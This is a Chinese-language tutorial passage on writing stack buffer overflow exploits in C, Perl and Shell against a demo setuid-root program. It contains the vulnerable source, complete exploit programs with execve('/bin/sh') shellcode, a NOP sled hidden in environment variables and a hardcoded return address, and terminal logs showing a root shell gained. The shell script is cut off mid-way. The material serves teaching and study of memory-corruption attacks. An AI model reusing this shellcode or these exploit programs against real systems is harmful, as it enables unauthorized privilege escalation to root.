溢出利用程序不仅仅是只能用c语言编写，其实几乎任何编程语言都能用来编写
溢出利用程序，这里用Linux作为试验平台，以实例演示C、Perl、Shell、Awk
语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统
自带的语言（商用Unix系统中C语言例外）。示例中基本都是把SHELLCODE放到
环境变量中来实现精确定位的。


<一>  有溢出漏洞的vul.c

[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo 
   Have a bof vul at argv[1].
   Write by watercloud @ xfocus.org 
*/
#include<stdio.h>
int main(int argc,char  * argv[])
{
        char buff[32];
        if(argc > 1)
        {
                strcpy(buff,argv[1]);
        }
        printf("buff : %s\n",buff);
        return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x    1 cloud    test      11627  2月 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x    1 root     test        11K  2月 24 10:14 vul



<二> C语言版本利用程序ex.c

[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul" 
   Write by watercloud @ xfocus.org 
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
          "j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
        char env_buff[4000];
        char cmd_buff[1024];
        int i,ret;
        unsigned int *pi;
        char * pc;

        for(i=0;i<3096;env_buff[i++]=0x90){ };
        env_buff[i]='\0';
        strcat(env_buff,SH);
        setenv("KK",env_buff,1);
        strcpy(cmd_buff,TARGET);
        pc=&cmd_buff[strlen(TARGET)]; *pc++=' ';
        for(ret=1,i=0;i<4 && ret;i++)
        {
                int j;
                *pc++='A';
                pi=(unsigned int *)pc;
                for(j=0;j<20;*pi++=ADDR,j++){};
                *pi=0;
                ret=system(cmd_buff);
        }
        return ret;

}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵�胯??
buff : AA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
�胯?胯??
buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<三> perl语言版本利用程序ex.pl

[cloud@test]$ cat ex.pl

#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
  $ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20;  #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<四> Shell语言版本利用程序ex.sh

[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`